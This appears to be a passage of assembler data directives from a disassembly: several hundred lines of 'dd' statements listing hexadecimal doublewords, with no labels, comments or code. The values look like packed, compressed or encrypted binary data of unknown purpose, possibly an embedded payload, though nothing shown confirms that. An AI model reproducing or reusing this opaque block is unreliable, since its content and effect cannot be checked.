		dd 48284CD2h, 503E1C23h, 60189800h, 0D1652AB2h,	7229BBEDh
		dd 4A1F6400h, 579B4083h, 2054007Dh, 94F2A7FBh, 321E1E6Ah
		dd 4A5C3CA5h, 61B84B0Ch, 2B7303D2h, 0AD302E4h, 7EB480F8h
		dd 2ECEAD1Eh, 780ECDEh,	0B8D4C662h, 0A2F800E8h,	75BF5038h
		dd 34906554h, 0CEED924h, 0F092E280h, 1CD0AADh, 7F7B6FDBh
		dd 89590984h, 9E28F8h, 0C35A5134h, 0F8A70018h, 5BC11F06h
		dd 542677BFh, 8C601040h, 0C06BC809h, 9EFFDCE1h,	8905C6D1h
		dd 0D306D261h, 6922AC20h, 84E501Bh, 7C300ABh, 727951ADh
		dd 4F0054BCh, 0C06183F7h, 0C023E8DEh, 14690829h, 9F003A51h
		dd 0A058879Eh, 3CDAAB3h, 0ADF5343Bh, 839C1B2Dh,	891A0367h
		dd 8069574Bh, 0D630E32Fh, 0F69E13E1h, 51202083h, 1E14BD60h
		dd 3D60D168h, 86EC80A0h, 2E99A5C1h, 0AEBD1A3Ah,	808AD0F6h
		dd 61D0CDF8h, 0C16980ADh, 9F14FF81h, 49DA0104h,	0DB0A0E96h
		dd 427825C8h, 864D110h,	6D02FB00h, 2EA6DCE2h, 0C01A6E7Bh
		dd 192BA29Eh, 0DC0294D3h, 0A0FBA2C2h, 2969E4E0h, 3F4B197Ch
		dd 171E3856h, 0CD40CE94h, 0AA980542h, 0CB54D700h, 0D81D649Fh
		dd 6D0B02DDh, 0ED4BB8E8h, 4179EC49h, 0E178C36Ch, 0DD084168h
		dd 41202586h, 0C4CC5ECh, 0F1410450h, 32964DC8h,	0A15927C1h
		dd 0CC608B43h, 8F7DE087h, 0A5857C03h, 119D254h,	2ABBF461h
		dd 0FCC2CDEBh, 58004C63h, 2511BA57h, 0EE5C99h, 0F79189DCh
		dd 3D21FA90h, 4F5A8E02h, 4412D704h, 1C713A2Ch, 0F5984D41h
		dd 7C8AC055h, 0B20F0575h, 8466EB13h, 9BC043F3h,	49568D2h
		dd 0F7B8D59Fh, 5AB4C039h, 0D9598B15h, 90311F90h, 675EDE40h
		dd 5905B7F3h, 884C0879h, 0DEDBC380h, 1D000EACh,	2156A024h
		dd 507F2F09h, 88CA4812h, 6400967Dh, 5768D8B0h, 0AA8C19h
		dd 8E43FAD2h, 2A797B27h, 10C0D318h, 308C7E30h, 2889EDDCh
		dd 1E001553h, 6BB3F53Bh, 48EB2F0h, 0CF089ABCh, 850C8CB8h
		dd 7622E012h, 9F082Ch, 0C238EFA0h, 2BF5C0B3h, 7B21D000h
		dd 0AB8372A7h, 17510150h, 0B177158Eh, 0D45C4061h, 6C0707C0h
		dd 0B8D150D7h, 0BEDB7C40h, 0AF740080h, 590FBC97h, 0DC30ECF5h
		dd 0EF6689F7h, 5C321698h, 0B4A8304Dh, 71021DC8h, 59A1FE7Dh
		dd 954E43Dh, 3C815183h,	229D2880h, 0D8889F7Ch, 165AE871h
		dd 20A3DF04h, 1A800A88h, 0D161B700h, 0B178A055h, 0D858C077h
		dd 1588068Ah, 0CC3D380h, 61DFA392h, 0D400DD39h,	9FC278EBh
		dd 5016D307h, 1332242Ah, 0AF6992h, 0F156F0BCh, 18A4C3F2h
		dd 0A8966D00h, 0E5953116h, 0C0F96005h, 90D55155h, 3AA17D00h
		dd 0FDBCA959h, 32A000EEh, 0F948B33Dh, 0E82C22FFh, 0AE0E28FBh
		dd 0E5EB00AFh, 1D3254A0h, 7BF86763h, 9D58708Ch,	0B8C4C680h
		dd 2410107h, 521548DCh,	0DB20F99Ch, 61789761h, 0F3F011E4h
		dd 0DAAB00D6h, 889339h,	10E84E81h, 6700C3CCh, 725FB9F1h
		dd 739599Bh, 92FDBA12h,	0C8E8C584h, 0C6079670h,	0E69FC910h
		dd 40AEB4D0h, 3376304Dh, 6FA7BC20h, 0F4065C7Eh,	8C81902h
		dd 0EF5B2639h, 77A0C050h, 0C3EF6A01h, 0E0B90CE1h, 0E8C0C664h
		dd 0D9F4DE85h, 0A8746002h, 0FA5BFC6Ch, 0AA9AE001h, 349C1A53h
		dd 24969F0h, 563E0CC4h,	0C04AA0DCh, 860754E6h, 0D9244559h
		dd 5CCCA9D5h, 0AC88B1D1h, 7CF828B8h, 844082F3h,	64B206F1h
		dd 0E6BA5B00h, 98677799h, 18076155h, 28F6C6BDh,	82D2E0B0h
		dd 795200F8h, 77BC5429h, 44906E93h, 2D5A8500h, 4F58E871h
		dd 0D3621C69h, 19800273h, 5C485489h, 31CFB9A7h,	0E60880FFh
		dd 329BF2h, 0F381F540h,	88D316FAh, 10FB2A05h, 28437B07h
		dd 4C5EF01Bh, 0C8111819h, 0FCBC063Ah, 0AA99A4Bh, 143707D4h
		dd 0D6D86060h, 801956F5h, 0D0A8395Ah, 0F588D111h, 9058A0F9h
		dd 0BDBFA900h, 5BE1DF14h, 0B8D628F7h, 68420A48h, 4F7CAE9Ch
		dd 598A8415h, 19C83D3Ch, 0EB195C30h, 84A4E819h,	0BC987724h
		dd 455C8586h, 42CA2190h, 7AE7AE08h, 402CA804h, 9B06DC6h
		dd 0CF38C040h, 9ED0B5CAh, 0F605297Ch, 587D0663h, 656B5401h
		dd 1840B703h, 0F5DAE86h, 4956D335h, 0A5021EAh, 1CA506h
		dd 0A9FC1B12h, 9015D6D4h, 7CCCFA43h, 47A89B18h,	4A28311h
		dd 0EAF0BB48h, 1A68C2DCh, 75E0902Dh, 32DF0073h,	0DC5A2E67h
		dd 10C469E1h, 0E8C16F6Ah, 10926B2Fh, 22F70FC7h,	0AE023E7Eh
		dd 0B89BEC02h, 18943488h, 0C1D3C105h, 0A456D3Ah, 0A0507BF4h
		dd 3421784Dh, 47EF5892h, 724C3900h, 0C4CAE418h,	53094CC6h
		dd 8C9523F4h, 788510C1h, 84575021h, 61FA2686h, 6E120060h
		dd 95A2F3D3h, 6DB41018h, 40118560h, 40AF7913h, 69105290h
		dd 3CA29Fh, 1FF6B2DFh, 1ED619C0h, 0F071FE39h, 81C892B1h
		dd 931235ACh, 261054ACh, 1005BCA9h, 9072E407h, 41D36044h
		dd 6F75F1BCh, 92E25639h, 80521CE8h, 214B1004h, 4142C621h
		dd 867D70Ch, 10404201h,	0C82C0B23h, 6C1640BCh, 0D300BA72h
		dd 32EDCF42h, 4617A4h, 1D98939Bh, 21764733h, 0EA4F5003h
		dd 88BBDEF9h, 53D80DFh,	4E576F54h, 50EC80A9h, 6C0FE3CBh
		dd 587974B8h, 354D4F8h,	867FF81Ch, 66E03DC4h, 4C003F72h
		dd 550A1DFCh, 0F83B7642h, 0D2F402AEh, 38F3DB44h, 371D0068h
		dd 0EA3D4A00h, 0D605EE56h, 7FCE2861h, 0F3174498h, 0CDB43200h
		dd 562C66E2h, 618004F5h, 85ECDCC7h, 11B0C88Bh, 22D5DB03h
		dd 0E3EDD98Eh, 981900CBh, 0A0592EE8h, 27006A89h, 87F40826h
		dd 0FE770C6h, 0D172B991h, 5C87422Bh, 8305E1EDh,	75007061h
		dd 38908749h, 0B9C0FC1Ah, 1162E9A7h, 0B69000B7h, 3CCB78E3h
		dd 641DABD2h, 8580D558h, 0D4ED3A7Bh, 0D050EDEh,	879C781h
		dd 421804Ch, 4528EE03h,	0D6DF000Eh, 90A32572h, 71007A29h
		dd 6F167FCBh, 0C4C6C1Eh, 46CCF8E1h, 0E4600E18h,	51D23D40h
		dd 0F438A863h, 0DF721CEDh, 63912155h, 0ED3D1200h, 474231A6h
		dd 2B000679h, 80D36778h, 90760CAFh, 0CE5BF654h,	0BD4E30h
		dd 0C8C769C1h, 6B6050FFh
		dd 2A60520h, 0F59B183Ah, 1FC6A93Fh, 4C6DB300h, 0BF458656h
		dd 0F062FC13h, 53C700B5h, 0E4F8515Eh, 0E90FFF30h, 377A0BD4h
		dd 8D2DD200h, 38D33Eh, 5F0490DDh, 165B9EBDh, 0B356771Dh
		dd 62803381h, 13E473ADh, 3F4E00F2h, 0B1E99C6Ah,	6D003D66h
		dd 0CDAB8646h, 76692592h, 7DB93A57h, 0CA35C380h, 0D8CBEAB8h
		dd 0E797DF00h, 7B4A4D13h, 6E8C002Bh, 28CCB323h,	1B0054FBh
		dd 553CC5BEh, 0DF8556h,	0D9AAEBB7h, 0E771023h, 0A027D300h
		dd 0E5A86962h, 549803F0h, 0B0F65834h, 9C7EF198h, 0F4FEA402h
		dd 6066CF3Eh, 0E3D5CEh,	9D4494A0h, 14C6E526h, 539CCB0Fh
		dd 0D21680E0h, 68EF82Eh, 68B150B8h, 0FD3A18B7h,	77268066h
		dd 0FAEED9C9h, 8510C0C6h, 1511ACBCh, 32CBBD06h,	60088D7Eh
		dd 74BF2187h, 570BA5ACh, 8090450Fh, 38B312EEh, 3C58C0C7h
		dd 8C916A4Bh, 91B7B833h, 0EED01831h, 0C79711ECh, 12BD3801h
		dd 6ACA9DC4h, 9BD19CF5h, 0BF2C2186h, 35183438h,	0F658FD19h
		dd 0D951C0C0h, 0DDED3E99h, 0C7F57E0Eh, 1163806Eh, 0C1B02242h
		dd 1315A878h, 0E038B2B4h, 0AC7F30DAh, 0C6150E38h, 0BE00ED22h
		dd 0D3D0AC77h, 0D39BDD5h, 9EAA2217h, 0E4C88358h, 0A4827Bh
		dd 0F5E01410h, 0BF243399h, 0F700B2E8h, 0FE0FEB12h, 95E8C8h
		dd 7BBC503Dh, 42F6FAD5h, 92214400h, 525328BEh, 0C36EFFB2h
		dd 90F14FE3h, 313AC4F5h, 1FB3FA0Fh, 61AB0003h, 0F30FE82h
		dd 6C7BAF86h, 0F6C41620h, 0FF184B1Ch, 292819DAh, 2EC30747h
		dd 0A784B6CEh, 7780E124h, 0E897E869h, 6EB1AB00h, 3D2CE33Bh
		dd 0AAE700B5h, 16F21B34h, 120040C6h, 69DA6CCAh,	6F57BCEh
		dd 678EB5FBh, 10030D6h,	19B08525h, 1DF45A38h, 104ECDFh
		dd 886D72Dh, 0E4A321EBh, 1000E44Bh, 5860CC99h, 0D3FD77h
		dd 8BC0BAFCh, 0DBFFB3B6h, 0F221B1C0h, 0D5AE68h,	88085D86h
		dd 8BA2CC4Eh, 299CCE09h, 81D00E40h, 1D02732Bh, 0F7148080h
		dd 26031AABh, 900F542Ah, 5377CD1Fh, 71A01B96h, 180D607Fh
		dd 0AD09241Ah, 5F814F00h, 2E050258h, 0B97E0CD7h, 27FC9EF5h
		dd 0BFCF600h, 0B6BCC16Ah, 57600E6h, 0D0D97782h,	0FB4C53D8h
		dd 4B007F3h, 50B0C5B2h,	8CB154h, 62F7A49h, 0D73824B3h
		dd 1A252000h, 0E6C885C1h, 6551079Dh, 901F7E6Bh,	6456C272h
		dd 0BA706F01h, 9DC91A7Ah, 6091ABD0h, 2C7B11BFh,	8B013697h
		dd 0D0FDB5C6h, 6FD0B638h, 0A220C065h, 0AF438AD5h, 715F3Ch
		dd 9CB47B5Bh, 19AA69h, 57A68B93h, 0EFC547CDh, 5FB58206h
		dd 0E028FECBh, 52C618CAh, 6AFA39D6h, 0F4C07D07h, 9D53E615h
		dd 6708353Dh, 0DE791E21h, 78F60065h, 3FB11F10h,	0F13CA77Fh
		dd 0FA1A9E26h, 5B981E19h, 2E4CB460h, 0CD2CE41h,	5C19113Eh
		dd 25517360h, 0FCAE1835h, 0D10D0091h, 5FBC0614h, 20CBCBBBh
		dd 97F2809Ah, 7CFFA55h,	0C969D421h, 9D414C91h, 2158900h
		dd 7F17378Fh, 0C279003Ah, 728A3BD7h, 0F3013EEDh, 476B2AB0h
		dd 80BE7B5Ch, 80EABD80h, 784551D0h, 6024BFAh, 0ED4856D6h
		dd 74006043h, 0D8C00027h, 9568BFDEh, 0F951CA62h, 0D9D80096h
		dd 0AE16EA9Ch, 65006B0Bh, 451FDA97h, 5C44C074h,	5BFFC46Ch
		dd 0F4A0C879h, 7B80FA59h, 0BE10006h, 889EF28h, 0C8C1D5CEh
		dd 750C55FCh, 78D4E4h, 0C44D15FFh, 36267A56h, 0DDF9BA06h
		dd 2207BECh, 0AB68CFC9h, 209C1A2Eh, 14C6023h, 0EB3919DCh
		dd 1BC05063h, 0A8038B03h, 0C4DD16FFh, 68093EE7h, 0AA3B20E0h
		dd 0B90975BEh, 20929481h, 0CD7DD644h, 0FA780199h, 4ED02D5Eh
		dd 24788075h, 0C64F278Dh, 2470B8E2h, 0C060AA7Ah, 8B21972Dh
		dd 91B63E21h, 2A9B0374h, 99379E97h, 0F454847Dh,	0F74BA801h
		dd 208946h, 26683E40h, 0D5621302h, 1A00FE11h, 1B9BA29h
		dd 1EB671F0h, 98484CD6h, 0B21E408h, 6BB901CCh, 0DAE9A3FEh
		dd 2154F1D8h, 4C5E617Ch, 7D08367Ch, 0C435F12Ch,	2E9E5CB0h
		dd 9A1823C0h, 0F6DFD2C8h, 0C0FB547Fh, 3B1F007Bh, 0C6539FEAh
		dd 56180F1Bh, 0FA806266h, 0BC72544Ch, 0C1CBF86Ah, 5FB93C99h
		dd 0DE418060h, 991FF0C7h, 9C181463h, 3012E447h,	961C01ACh
		dd 51BE4189h, 877E18A8h, 5C2BD951h, 0C07C2480h,	0A67900A4h
		dd 0E2D8C26Ch, 0C50E59A2h, 855A426Eh, 0CC049E1Eh, 0C03194A7h
		dd 0E68BEC8Ah, 966F448Ch, 0D2972902h, 829A15B0h, 0C0BA2E5Ch
		dd 136368E7h, 8FF9DCFh,	0C6C0A958h, 468B288Ah, 507322F6h
		dd 1F3CF804h, 0C0F7D75Fh, 1D45FF91h, 0F400789Eh, 9B02224Ch
		dd 52FC40CAh, 0D610A82Ch, 0E31F0050h, 4CE0DE59h, 7CF0A87h
		dd 890789Ah, 0BE047B54h, 141ED4F9h, 0C401933Ah,	5F596C3Ch
		dd 36B4F193h, 7D280278h, 3165F4C6h, 20591166h, 31EDE1ECh
		dd 8AF15068h, 1770E0ABh, 2B80D852h, 2F01AC98h, 2E8B2397h
		dd 95807823h, 36F08AD4h, 0B02D6124h, 0D22FE06Eh, 0A3FC17h
		dd 0AACEB489h, 3AD89301h, 1F658B3Eh, 0CB426F21h, 64CC98F9h
		dd 2C546E0h, 0F12F7D23h, 11C2312Dh, 0D0803B08h,	50A53396h
		dd 79059A99h, 8F1EBE6Eh, 465EA832h, 69232238h, 948F6D16h
		dd 525307FAh, 90379348h, 4C66C0B8h, 0F4999100h,	1A48457h
		dd 0E41F00D7h, 92FF8985h, 0EC929ADDh, 938F7800h, 8356D5E3h
		dd 535039Dh, 0B370C7FBh, 2A9CC084h, 9400D9AAh, 0B9733462h
		dd 0E33E478h, 83CAF8FDh, 38917EEh, 0ED90D880h, 2000D3BFh
		dd 0E58B26D4h, 4CF2F011h, 0CB3AB09Ah, 0B4C114D8h, 434E20BFh
		dd 0D17CFAEDh, 0CBBEF30Bh, 3A9C11FCh, 16E83021h, 2FC000BDh
		dd 0DE224639h, 0EA4C2019h, 8BFEC0A0h, 0FD0EFFC1h, 38886D0Ch
		dd 46BD00A5h, 0DD5F807h, 480272A9h, 0D4DDFE50h,	0A9E46B6Dh
		dd 34F09B71h, 7418B201h, 0B63901CFh, 0D941DA91h, 38709F78h
		dd 93D3D587h, 0CD68F180h, 0F0A10F8Ah, 22A0AF4Eh, 2AB9A73Dh
		dd 0D1A20C0h, 539AD571h, 76832044h, 20D4A1B3h, 12758CB0h
		dd 24E5C964h, 2AE40524h, 18A406A4h, 0FA00D913h,	3212F649h
		dd 21B47Ch, 1F83486Eh, 0F3777620h, 7224F00h, 0EC4B3214h
		dd 24C000A3h, 0A15FD4Dh, 6301A49h, 122948F7h, 7A289AEEh
		dd 41040133h, 2F06C8F5h, 0DE25D43Fh, 0DAB66F00h, 58AD5040h
		dd 3942006Ah, 10D3B2C1h, 0D905C95Fh, 0F96E43D5h, 91F023C0h
		dd 9A56h, 3534BFCDh, 939D14EFh,	9529E004h, 9CC8E94Ah, 3B80E87Ch
		dd 0DB80A930h, 4C2E4806h, 2C00371Eh, 9CC4D357h,	0B26CA1h
		dd 0BF443B34h, 0BE64C39h, 0B4784307h, 45C07091h, 2AFDEBB2h
		dd 3682C09h, 2EE1714Fh,	95D0B742h, 18073983h, 0F1F301D3h
		dd 0D7161BE5h, 80624808h, 0FF24C1A8h, 5624C670h, 150C347Eh
		dd 4A51FBh, 49A783DAh, 0F6B15CB0h, 4F004DECh, 0B6AD7132h
		dd 7731ECE9h, 0D050446Bh, 0E5C8AB00h, 819CF02Ah, 1B851710h
		dd 3BFA0ECAh, 74845898h, 0DB971900h, 0AC16F7A9h, 5DA60E99h
		dd 6A8098FFh, 8C786B7h,	0FE1D5D90h, 7980E412h, 1F55BF26h
		dd 8D4A015Ch, 5DB74847h, 0C22988BEh, 0B00B8813h, 3382EE90h
		dd 0D6020F9Ah, 2BD52215h, 9E218224h, 82BA1225h,	24290928h
		dd 421F5686h, 0AD039666h, 906F4C27h, 5DBDB9h, 4EEBBE5Bh
		dd 0E0D85469h, 71003FF0h, 880F5C8Ch, 981DA8h, 0BFB6EF2h
		dd 96BD172Bh, 240011E4h, 0D149689Ch, 5E336Ch, 5A16DCEAh
		dd 5CF69853h, 6A9DA100h, 0C3B8A929h, 34C80FB5h,	0A0007D4Ah
		dd 3B1BFBDEh, 6D3CE503h, 0EDAA3AEh, 2B8D621h, 7E081E00h
		dd 5200AB83h
		dd 0B2187C0h, 28736Fh, 1C58B431h, 30D92465h, 0BD7F9003h
		dd 0B0016008h, 12EB0D61h, 19F282h, 0FE024990h, 2E0020BDh
		dd 63FF2894h, 85FB9Eh, 8072E35Ah, 0E06B3892h, 74D23D00h
		dd 0C56E1EEFh, 79F0A0AEh, 0A8390024h, 6A605B4Ch, 6500B486h
		dd 1969D974h, 5C1B6Fh, 504E9FA0h, 895DF04Dh, 0F3B66000h
		dd 10B2A60Ah, 0C3B834h,	93654907h, 14B1AC12h, 0ADFD0E0Ch
		dd 1C36189Fh, 0D83BFA9Ah, 8767A0BAh, 1204E400h,	9D3D2E74h
		dd 3772004Bh, 0AB072DA6h, 0BC20EB5Fh, 5DDC28ACh, 0CF9D00BCh
		dd 0EF97F1BBh, 3C009B79h, 115E1027h, 6F204Dh, 21923601h
		dd 31C44B8Bh, 78620400h, 0E51DEBCDh, 0E486003Ah, 824A3706h
		dd 0D17340C6h, 0B4EC420Fh, 0A51D0094h, 1B470Dh,	55217E51h
		dd 0ABA10510h, 0C19C6500h, 6086E8A8h, 34D20A5Dh, 1EF74836h
		dd 371940E6h, 0A63C745Fh, 42528A07h, 6DF02FEAh,	0E8CA7AB6h
		dd 327BE5h, 2DF7B10Fh, 9530DE4Ah, 4515F000h, 2AA32CB4h
		dd 58D91910h, 40D220B7h, 377C9CB9h, 959A6E00h, 0D707FD8Dh
		dd 54BB1436h, 3A008C15h, 4FA21035h, 321CED8Eh, 3B40B0B2h
		dd 408FD5EFh, 50A100DCh, 5AB63EE1h, 6F091B6Ch, 4AF36Ah
		dd 35BEE40Eh, 0EA120089h, 11E427Fh, 0AA0E305Dh,	0E32D9A73h
		dd 9F97E3D0h, 0E0D516D0h, 0AEF900EDh, 46968F4h,	0E2442FDh
		dd 11500CADh, 24D3EAABh, 2859C7h, 9171CA5Ch, 61009F41h
		dd 0F36C7055h, 46040Dh,	0AE1F572Dh, 6907508Bh, 1DF8AF1Fh
		dd 0F09C5640h, 7C32B52h, 0BC9B85D6h, 507347F9h,	5115C734h
		dd 818F9807h, 3A90CB78h, 3C401416h, 648F0E76h, 1C01B9Bh
		dd 4A2FEBF7h, 0A869BD06h, 489E8Ah, 0A99A9F28h, 9620B337h
		dd 0CCCAC800h, 920D4F36h, 9EF851h, 14571B75h, 5C0355C2h
		dd 0A2D16400h, 0D4BE3EAh, 7F0703ABh, 2248C5D7h,	0F2FAB8A0h
		dd 97EE6201h, 0F8E46B15h, 12529130h, 0BB132Ch, 8216E04h
		dd 910B614Eh, 801EFDA4h, 959D0F5Eh, 76F50001h, 6838AB0Bh
		dd 144C6994h, 0B1007914h, 0CEF8727h, 0F3C30Eh, 84BF8362h
		dd 0A07046Ah, 0A1C7F409h, 12080016h, 1FBA184Dh,	80F58663h
		dd 53B8A856h, 17006D81h, 0A759F7ABh, 0BDD3FAh, 673380C2h
		dd 1661CB12h, 561CE304h, 0C0B14Dh, 12578A77h, 9C525h, 0B935F208h
		dd 5101142Eh, 234A1DEFh, 88347C4Fh, 48862E9Dh, 0A0288Eh
		dd 0A5A8F30Eh, 0AC424A39h, 79266660h, 0CCB046h,	59F60719h
		dd 6C532B90h, 2AA7706h,	3FF02A5Dh, 4500519Ah, 91DCDDBCh
		dd 100CEFCh, 763BEC84h,	0AEF04h, 52D41707h, 59433496h
		dd 860BC614h, 8A9D00CCh, 0E8FB6918h, 0E0BA0247h, 0B72B60BBh
		dd 11669C60h, 9E2F3800h, 0DA55D07Ah, 0AEC00081h, 75A1D518h
		dd 0AF00120Dh, 9C30AD99h, 1FE6A16h, 0CEA86602h,	0C0475A82h
		dd 0D600C808h, 2085382Bh, 0B1F90Ah, 3A4902FCh, 40A9E5E7h
		dd 0CE1F100Fh, 0C5D2019h, 13B1699Fh, 3BB1E90h, 11A1717Ch
		dd 31516811h, 4615709h,	7A00FC8Eh, 0C785CAB5h, 58E53300h
		dd 0BCC260C5h, 5DD0071h, 0E4FD9249h, 561D5B80h,	40C05225h
		dd 5A972273h, 0AAE8C001h, 9167EA4Dh, 0BD09F528h, 0CCB2F700h
		dd 85E61646h, 8D6F0102h, 966C3C19h, 0D2EC608Fh,	280A2378h
		dd 0E4DF4BAEh, 13526080h, 0F67BDE6Eh, 3E1D74C2h, 0CD949F3Bh
		dd 6700B84Fh, 0E7D3C954h, 770E9848h, 0A7D791CFh, 0E209BD0h
		dd 0B82DA7h, 450B0F71h,	8DCDCC49h, 28039870h, 0C79BE339h
		dd 913FC837h, 7E8B00ECh, 0E872F475h, 89008A2Ch,	0D08F14A3h
		dd 2E84BDA7h, 6A7ACAh, 0F4AB6EC0h, 0BB00BC4Bh, 3E3BF60Ah
		dd 7F4E55h, 85D56F8Eh, 45F257D0h, 0AF056601h, 28B11D07h
		dd 7ACB20h, 6AAB4EFCh, 0B4C65A9Ch, 0C87DAA28h, 7ED4A103h
		dd 0A01135E9h, 39463776h, 0B51209DCh, 7D1CAB61h, 0ABAF2500h
		dd 2651C6h, 432836B6h, 52F424E1h, 5631D70Bh, 5EC00CFh
		dd 4BB8D79h, 3E364BA8h,	66CC892h, 6C4DF700h, 2D7A0155h
		dd 0EF2A2688h, 3F08004Ch, 95C263AAh, 7073CF1Dh,	71AA043h
		dd 9B480576h, 599F529h,	0C095C9E3h, 81CE4C4Ch, 0A6B7770Eh
		dd 1D6020A1h, 48F3B9E2h, 0AE00C92Fh, 486FBF17h,	6A008557h
		dd 360A8C9Ah, 6541F04h,	9FBD4E4Dh, 211E60C8h, 72802716h
		dd 0A5048285h, 71900B8Ch, 68A0C6E6h, 469C1576h,	3C9A0218h
		dd 1101A80h, 0FB55595Bh, 71B3E5B7h, 0F0DBD438h,	0E88D7800h
		dd 0C6BC6DE6h, 14A0024h, 4077FBE2h, 733EF84Dh, 6FB781DBh
		dd 7A6C2C6Dh, 5520F0h, 0A3434962h, 0DAEEC7EBh, 68FD0EFh
		dd 82D9A200h, 0EFB944DDh, 68430048h, 0CAE7FE88h, 96FC3ED1h
		dd 0A8D8F900h, 14BA547Ah, 541F58BBh, 1BA14C00h,	565A4A04h
		dd 37B8131Eh, 34185758h, 0D6B20033h, 0F3979255h, 9D01135Ah
		dd 8D2BCA0Fh, 4C601994h, 0F4EA45D3h, 0EE1DBAA5h, 1E42D686h
		dd 624D4A36h, 4DE07F44h, 0C20755F5h, 0D9A92D2Ch, 5857A521h
		dd 8C4F040h, 0F5C6395Ch, 4DDB7286h, 0D704186Bh,	9F20EA71h
		dd 0F4940AC1h, 0F21CE8D8h, 2150008h, 0E260CCBCh, 0D90F96B0h
		dd 40496BCAh, 0AA28453Dh, 0D7300B2h, 82FA7865h,	0F480353h
		dd 0AC390068h, 0ECED3194h, 0CFE00D7h, 9AD196DDh, 9000280Fh
		dd 60D87BEAh, 7FB0D685h, 2D083AF9h, 1C7CE881h, 60AB4A9Ch
		dd 99029A49h, 0A2ECDF6h, 0AE1440BCh, 683A4897h,	0C3550F80h
		dd 4A00A589h, 0A77CD435h, 0D1A2CCh, 1E7430C7h, 3FC444D9h
		dd 0CB761000h, 7F5B11B7h, 7A6F2AFh, 209F25ADh, 2ABFF3B1h
		dd 8021ABB8h, 0F131678h, 5000E7F3h, 7A83D7AFh, 73790178h
		dd 0C0E4C1EFh, 0CEE8B017h, 1418535Ah, 0C875CF0Bh, 0F100853Fh
		dd 0FA49A492h, 4500ACC4h, 0DE52C064h, 80505497h, 29388E88h
		dd 44116122h, 0F0213856h, 598020h, 0C6C8350Fh, 0AE5D0994h
		dd 16417B00h, 7F0A5E5Ah, 0C27B08h, 0A14AE0E6h, 142A105Bh
		dd 0A0ED4926h, 3D6E3A80h, 0E8657Dh, 0B991A84Ch,	335254Fh
		dd 0EC00DF7Bh, 0DE197F2h, 30212355h, 93899FDh, 93008580h
		dd 260743F4h, 645CC0Eh,	19E79B06h, 1600E07Fh, 648CCD78h
		dd 212F5Bh, 484406B3h, 0F47CC330h, 0C2AFCF03h, 0C309569Ah
		dd 0AD4EA04Fh, 1C806CDh, 0F0F35EA4h, 8666CC07h,	82EB9220h
		dd 585F9820h, 60A8EC70h, 46A96ADAh, 0BA06CAA4h,	91F02CACh
		dd 7610019h, 9DBBC0E0h,	0AA003001h, 5D0A8649h, 1B27095Eh
		dd 6CDE4A35h, 9A6EFEC0h, 0A1400C00h, 30569CACh,	3764055Bh
		dd 873E484Ah, 0EF79802Ah, 4979E866h, 9060CB00h,	0D2DCECFCh
		dd 0B60305F7h, 9469FA85h, 6C288058h, 8900B00Ch,	873154Bh
		dd 0A1464Fh, 0D29293A7h, 0F4CC1835h, 4D7F39h, 0BCE35880h
		dd 5392Ch, 0FFC77282h, 7DA0EEFh, 18254413h, 33F53C42h
		dd 5F4590Ch, 0C08A6A4Dh, 4C21A678h, 0BF955114h,	0F8B200D4h
		dd 0EB83C9A1h, 0C3150E7Fh, 0ADA0BB9Ch, 6F0638CAh, 0ED1B6200h
		dd 0B71458FBh, 0D8FC00A4h, 0EC6E8C9Fh, 0F63A3AFEh, 0D74287D3h
		dd 9810C4A5h, 7361E01Eh, 28966A36h, 0C778848h, 24162881h
		dd 98206845h, 9B76289Dh, 0A0690088h, 0CA026B98h, 9E1FBE16h
		dd 9740E079h, 71EC4BAFh, 0D47B0711h, 7330201h, 159580F7h
		dd 307199ACh, 0F417E174h, 0DC402D4Fh, 0B6BE43CFh, 65543C56h
		dd 0E227801h, 0F81AEE77h, 870062E7h, 90187E52h,	0DCC9E615h
		dd 1CD34089h, 820A648Ah, 5159DE05h, 0EC05BAFDh,	9C00BB7Ch
		dd 0F8785E49h
		dd 7CE55942h, 46FFA00h,	5487909h, 389CB90Fh, 0C850ECA4h
		dd 0B3301D7Dh, 59950140h, 2417F0BEh, 0FA00B258h, 0E05173E4h
		dd 418AA8h, 0A9521875h,	0FF727BACh, 2E6080F9h, 6277F43Dh
		dd 0DCA52442h, 0B8280060h, 0D5BEA722h, 0EA793A1Ch, 0AF207200h
		dd 392149E4h, 1CF98AD9h, 0D2DEDB03h, 0F7E1006Eh, 7BD42316h
		dd 6C5B5E1Dh, 1760B00h,	7421Dh,	0B16AE179h, 6BE5A46h, 0ACAB4024h
		dd 3606CC9h, 95CE3F5Dh,	0A590D82Eh, 20F842C3h, 73259000h
		dd 0C7E8EADAh, 65132486h, 0ECAC1EEAh, 0BECC02ACh, 0E4E0E438h
		dd 9A0058DEh, 86A8EAFBh, 9AEE700Bh, 52661698h, 0DB200944h
		dd 0E16448A0h, 19615762h, 2B826A11h, 0BA228770h, 563500E8h
		dd 5B4563C3h, 191CA660h, 0BC4A0ADh, 0E4E1AEFAh,	0B53AA740h
		dd 3C91F96h, 9459C0E9h,	80455720h, 8404B85Ch, 2F4EE4ACh
		dd 4011EA8Dh, 1626E93Bh, 9E1E5D00h, 52E5561h, 4194A0AAh
		dd 74F1182Dh, 0AE208070h, 241DBC00h, 0EB317904h, 0EE8000D5h
		dd 999B367Bh, 0AA0015CEh, 0B5C0E50Bh, 851D51h, 9889CD53h
		dd 63587134h, 84998605h, 0C8D25694h, 3008402Fh,	0FD6100A7h
		dd 0ACE409DEh, 76004E72h, 674A3494h, 1A30E79h, 15F027A5h
		dd 40FEA103h, 60DDE698h, 3196D13Bh, 334548DCh, 30C8E0A8h
		dd 2940886Ch, 0A6074841h, 0CEB03EBFh, 0E0F36A20h, 0DE231883h
		dd 0E14E3831h, 0F260747Ch, 94F19558h, 9D514E9h,	0A200C401h
		dd 3371CA20h, 1F0B60C5h, 778275h, 0EE7FD40Ch, 0A4F8005Ah
		dd 244D3E4Bh, 3300A5EFh, 0D1BAE4EDh, 0E7F4BDh, 0FD852248h
		dd 0F8C78C03h, 0C9C7624h, 0AAA0800h, 131D4DE1h,	0BEF65Eh
		dd 8B2C074Ah, 61077DEDh, 0FEADFD99h, 5BC5BB90h,	1BBE0F8Ch
		dd 4CC18D47h, 0F4F5AB81h, 31042D18h, 53B4100Dh,	9CC19CC0h
		dd 30D65880h, 0FD9F0EB0h, 90006C71h, 0B4727EA5h, 88551Ah
		dd 8C404B93h, 56F3DFAh,	0ADD45F0Fh, 0D0206153h,	37C1687Eh
		dd 2270AB40h, 0EDE3007Bh, 0ADBCA9F6h, 9605DC9Fh, 0B94FE58Dh
		dd 4039A40Eh, 0A66C7942h, 3C46814Ah, 9BF07ECh, 54001B60h
